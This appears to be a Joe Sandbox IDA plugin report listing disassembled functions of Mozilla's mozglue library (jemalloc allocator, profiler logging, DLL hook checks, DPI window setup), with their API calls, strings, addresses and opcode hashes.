Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 508a9dc7c9770e84e140e83756d3e05c7fda16a06dccc5c099aad099ae23d15d
Instruction ID: fce543255b21c3b852b39cceda72e2218bea27387fb3202f4a176df48b37cbfa
Opcode Fuzzy Hash: 508a9dc7c9770e84e140e83756d3e05c7fda16a06dccc5c099aad099ae23d15d
Instruction Fuzzy Hash: 4B53AD71A057218FD304CF29C580616FBE1BF89328F29E66DE86D9B791D731E842CB85

Function 6C6555F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C62E1A5), ref: 6C655606
LoadLibraryW.KERNEL32(gdi32,?,6C62E1A5), ref: 6C65560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C655633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C65563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C65566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C65567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C655696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6556B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6556CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6556E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6556FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C655716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C65572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C655748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C655761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C65577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C655793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6557A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6557BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6557D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6557EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6557FF

Strings

AreDpiAwarenessContextsEqual, xrefs: 6C655637
GetSystemMetricsForDpi, xrefs: 6C655677
SetWindowLongPtrW, xrefs: 6C6557B7
GetWindowDC, xrefs: 6C655710
ReleaseDC, xrefs: 6C655742
GetThreadDpiAwarenessContext, xrefs: 6C65562D
SetWindowPos, xrefs: 6C6556F7
GetDpiForWindow, xrefs: 6C655690
StretchDIBits, xrefs: 6C6557CC
ShowWindow, xrefs: 6C6556DE
EnableNonClientDpiScaling, xrefs: 6C655666
DeleteObject, xrefs: 6C6557F9
LoadIconW, xrefs: 6C65575B
user32, xrefs: 6C655601
CreateWindowExW, xrefs: 6C6556C5
CreateSolidBrush, xrefs: 6C6557E4
gdi32, xrefs: 6C65560A
MonitorFromWindow, xrefs: 6C65578D
LoadCursorW, xrefs: 6C655774
FillRect, xrefs: 6C655729
GetMonitorInfoW, xrefs: 6C6557A2
RegisterClassW, xrefs: 6C6556AC

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: fdbd16f0e49f1e905e7bf91ce18ff72271f5fa8cffed24cb853312886872316b
Instruction ID: 7bc4ceaed1d54b8a9bdd1c7095f371c1c24cf32898b7504a3ca51bfc9ee59009
Opcode Fuzzy Hash: fdbd16f0e49f1e905e7bf91ce18ff72271f5fa8cffed24cb853312886872316b
Instruction Fuzzy Hash: 8B513A706117329BEB069F378D98D263AF86B46349F604C25E921E2B51EF70C8118F7D

Function 6C6534A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6535BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6535E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6536CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6538BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6539EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C653EE2

Part of subcall function 6C656180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6561DD
Part of subcall function 6C656180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C65622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6540F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654157

Part of subcall function 6C656180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C656250
Part of subcall function 6C656180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C656292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C65441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C654448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C65484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C654896
free.MOZGLUE ref: 6C65489F

Strings

, xrefs: 6C654CD2

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 6c639a0490917ded9bf982591b1b149bbc841dd2555e78d2a3bcc3234d35c231
Instruction ID: 7a97abd95812d8cdb2727d5709fe682ba58106af7edd815b1132497a8b9a8ace
Opcode Fuzzy Hash: 6c639a0490917ded9bf982591b1b149bbc841dd2555e78d2a3bcc3234d35c231
Instruction Fuzzy Hash: A5F25E74508B808FC725CF29C0846AAFBF1FFCA304F618A5ED98997711DB719896CB46

Function 6C63F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C63F09B

Part of subcall function 6C615B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6156EE,?,00000001), ref: 6C615B85
Part of subcall function 6C615B50: EnterCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615B90
Part of subcall function 6C615B50: LeaveCriticalSection.KERNEL32(6C67F688,?,?,?,6C6156EE,?,00000001), ref: 6C615BD8
Part of subcall function 6C615B50: GetTickCount64.KERNEL32 ref: 6C615BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C63F0AC

Part of subcall function 6C615C50: GetTickCount64.KERNEL32 ref: 6C615D40
Part of subcall function 6C615C50: EnterCriticalSection.KERNEL32(6C67F688), ref: 6C615D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C63F0BE

Part of subcall function 6C615C50: __aulldiv.LIBCMT ref: 6C615DB4
Part of subcall function 6C615C50: LeaveCriticalSection.KERNEL32(6C67F688), ref: 6C615DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C63F155
GetCurrentThreadId.KERNEL32 ref: 6C63F1E0
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F1ED
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F212
GetCurrentThreadId.KERNEL32 ref: 6C63F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F248
GetCurrentThreadId.KERNEL32 ref: 6C63F2AE
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F2BB
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F2F8

Part of subcall function 6C62CBE8: GetCurrentProcess.KERNEL32(?,6C5F31A7), ref: 6C62CBF1
Part of subcall function 6C62CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5F31A7), ref: 6C62CBFA

Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C63945E
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639470
Part of subcall function 6C639420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING,?,?,?,00000000,?,6C62F710,?,00000039,00000000,?,6C64138F,?,?,?), ref: 6C639482
Part of subcall function 6C639420: __Init_thread_footer.LIBCMT ref: 6C63949F

GetCurrentThreadId.KERNEL32 ref: 6C63F350
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F35D
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F381
GetCurrentThreadId.KERNEL32 ref: 6C63F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F3A0
GetCurrentThreadId.KERNEL32 ref: 6C63F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F491

Part of subcall function 6C6394D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6394EE
Part of subcall function 6C6394D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,?,00000000,?), ref: 6C639508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F3CF

Part of subcall function 6C63F070: GetCurrentThreadId.KERNEL32 ref: 6C63F440
Part of subcall function 6C63F070: AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F44D
Part of subcall function 6C63F070: ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C63F4A8
GetCurrentThreadId.KERNEL32 ref: 6C63F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C63F561
GetCurrentThreadId.KERNEL32 ref: 6C63F577
AcquireSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F585
ReleaseSRWLockExclusive.KERNEL32(6C67F4B8), ref: 6C63F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C63F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C63F499
[I %d/%d] profiler_resume, xrefs: 6C63F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C63F3A8

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: b67e66be6b0e89d9c014ea12fd0da326510e1ce337ed68d93a7b5d1d26df0449
Instruction ID: 58ef446d6757aa8b714acac08c5437bb3cdf0a1c46bd513cdc5e7c7d801fb08c
Opcode Fuzzy Hash: b67e66be6b0e89d9c014ea12fd0da326510e1ce337ed68d93a7b5d1d26df0449
Instruction Fuzzy Hash: BCD11731604220DFDB159F6AD484BA977F4EF87368F141D69E95983B82CB7048188BBF

Function 6C6064C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6064DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6064F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C606505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C606518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C60652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C60671C
GetCurrentProcess.KERNEL32 ref: 6C606724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C60672F
GetCurrentProcess.KERNEL32 ref: 6C606759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C606764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C606A80
GetSystemInfo.KERNEL32(?), ref: 6C606ABE
__Init_thread_footer.LIBCMT ref: 6C606AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C606AF7

Strings

nvdxgiwrap.dll, xrefs: 6C606513
detoured.dll, xrefs: 6C6064DA
nvd3d9wrap.dll, xrefs: 6C606500
_etoured.dll, xrefs: 6C6064ED
user32.dll, xrefs: 6C606526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C606798

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: bc6774e0d32f14454aa1256b20ac424321f8774a0083a749a894ffa254abf7ba
Instruction ID: 87491dba0512ad09f0b23b633ef008bacd902d6723e85ee1804bb6bfe8afda72
Opcode Fuzzy Hash: bc6774e0d32f14454aa1256b20ac424321f8774a0083a749a894ffa254abf7ba
Instruction Fuzzy Hash: 42F10770A056299FDB24DF25CE887DAB7B4AF46318F044198DC09A3640E731EAC5CFA9

Function 6C61D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C61D904
LeaveCriticalSection.KERNEL32(?), ref: 6C61D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C61D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C61E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C61E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C61E315
AcquireSRWLockExclusive.KERNEL32(6C67E804), ref: 6C61E37C
GetSystemInfo.KERNEL32(?), ref: 6C61E3C7
__Init_thread_footer.LIBCMT ref: 6C61E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C67E810,00000040), ref: 6C61E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7B8,00001388), ref: 6C61E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E744,00001388), ref: 6C61E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E784,00001388), ref: 6C61E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E7DC,00001388), ref: 6C61E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C67E768,00001388), ref: 6C61E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C61E52E
ReleaseSRWLockExclusive.KERNEL32(6C67E804), ref: 6C61E54F

Part of subcall function 6C60D960: EnterCriticalSection.KERNEL32(?), ref: 6C60D999
Part of subcall function 6C60D960: EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60DA13

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C61E560, 6C61E58A, 6C61E5A5
MALLOC_OPTIONS, xrefs: 6C61E3FF
: (malloc) Unsupported character in malloc options: ', xrefs: 6C61E6DD
MOZ_CRASH(), xrefs: 6C61E62B
Compile-time page size does not divide the runtime one., xrefs: 6C61E621
<jemalloc>, xrefs: 6C61E61C, 6C61E6CC

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fa481a6a8229c1e7b46a5bdbf44ac83bcc64af3670f6198e73edfd791422a904
Instruction ID: 56104dfc4ea209c8ff07cd2b945482c37e7b32424165bf41e467b39394cf190f
Opcode Fuzzy Hash: fa481a6a8229c1e7b46a5bdbf44ac83bcc64af3670f6198e73edfd791422a904
Instruction Fuzzy Hash: EB92EE71A096118FD709CF2DC484755BBE1BF86329F19CA6DE8698BB91D331E841CBC8

Function 6C65C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C65C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C65C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C65C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C65DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C65DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C65E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C65E472

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 70c1fa1f327032f70af44735b2074df8f6e7b065a6db3d30d5881a8ac5e5f63d
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8C33CE71E0021ACFCB04CFA8C8806EDBBF2FF49304F688269D955AB795D731A955CB94

Function 6C61ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C61EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C61EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C621695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6216B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C621770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C621A3E

Strings

~q_l, xrefs: 6C61ED10
~q_l, xrefs: 6C61ED13

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q_l$~q_l
API String ID: 3693777188-2274163580
Opcode ID: 1b3168a3dfb5a0805d51b8896217f33ed8638c762e42a502925bed82ebf07194
Instruction ID: 75351e9967dd3d8bea4a5cbbb46ad0b543c686f7da169684c73e6339c1ee3688
Opcode Fuzzy Hash: 1b3168a3dfb5a0805d51b8896217f33ed8638c762e42a502925bed82ebf07194
Instruction Fuzzy Hash: D3B31871E04219CFCB24CFA8C890ADDB7B2BF49304F2582A9D449AB745D735AD86CF94

Function 6C60FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C67E7B8), ref: 6C60FF81
LeaveCriticalSection.KERNEL32(6C67E7B8), ref: 6C61022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C610240
EnterCriticalSection.KERNEL32(6C67E768), ref: 6C61025B
LeaveCriticalSection.KERNEL32(6C67E768), ref: 6C61027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C610D67, 6C610D7B, 6C610DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C60FE99, 6C60FEB7, 6C60FED3, 6C610DB8, 6C610DD3, 6C6119B4
<jemalloc>, xrefs: 6C610D62, 6C610D76, 6C610DA7

Memory Dump Source

Source File: 00000000.00000002.1863204172.000000006C5F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.1863188970.000000006C5F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863270654.000000006C67E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1863313867.000000006C682000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: d4154d63c9c7c7b6a15692cabdade44980e18164e0d4d5db6fd7822397a0396b
Instruction ID: ea323ee8236df2fd92b6e14a865506a7a68230a9a39530bdc247cae73f4d555b
Opcode Fuzzy Hash: d4154d63c9c7c7b6a15692cabdade44980e18164e0d4d5db6fd7822397a0396b
Instruction Fuzzy Hash: E3C2E171A097418FDB14CF2DC580756BBE1BF85329F28CA6DE4698BB95C731E801CB89

Function 6C65E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C65E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C65EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C65F223
